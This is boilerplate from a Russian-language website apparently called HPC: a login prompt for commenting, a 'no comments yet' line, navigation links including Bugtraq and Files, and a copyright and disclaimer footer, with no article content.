Вы должны быть авторизованы на форуме чтобы добавлять комментарии. Регистрация Уже авторизованы?

Комментариев к материалу пока нет.

Последнее на Сайте

Новости

Статьи

Bugtraq

Файлы

Copyright © 2008 - 2017 «HPC». При копировании материалов ставьте ссылку на источник.
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.
Пользовательское соглашение Реклама на сайте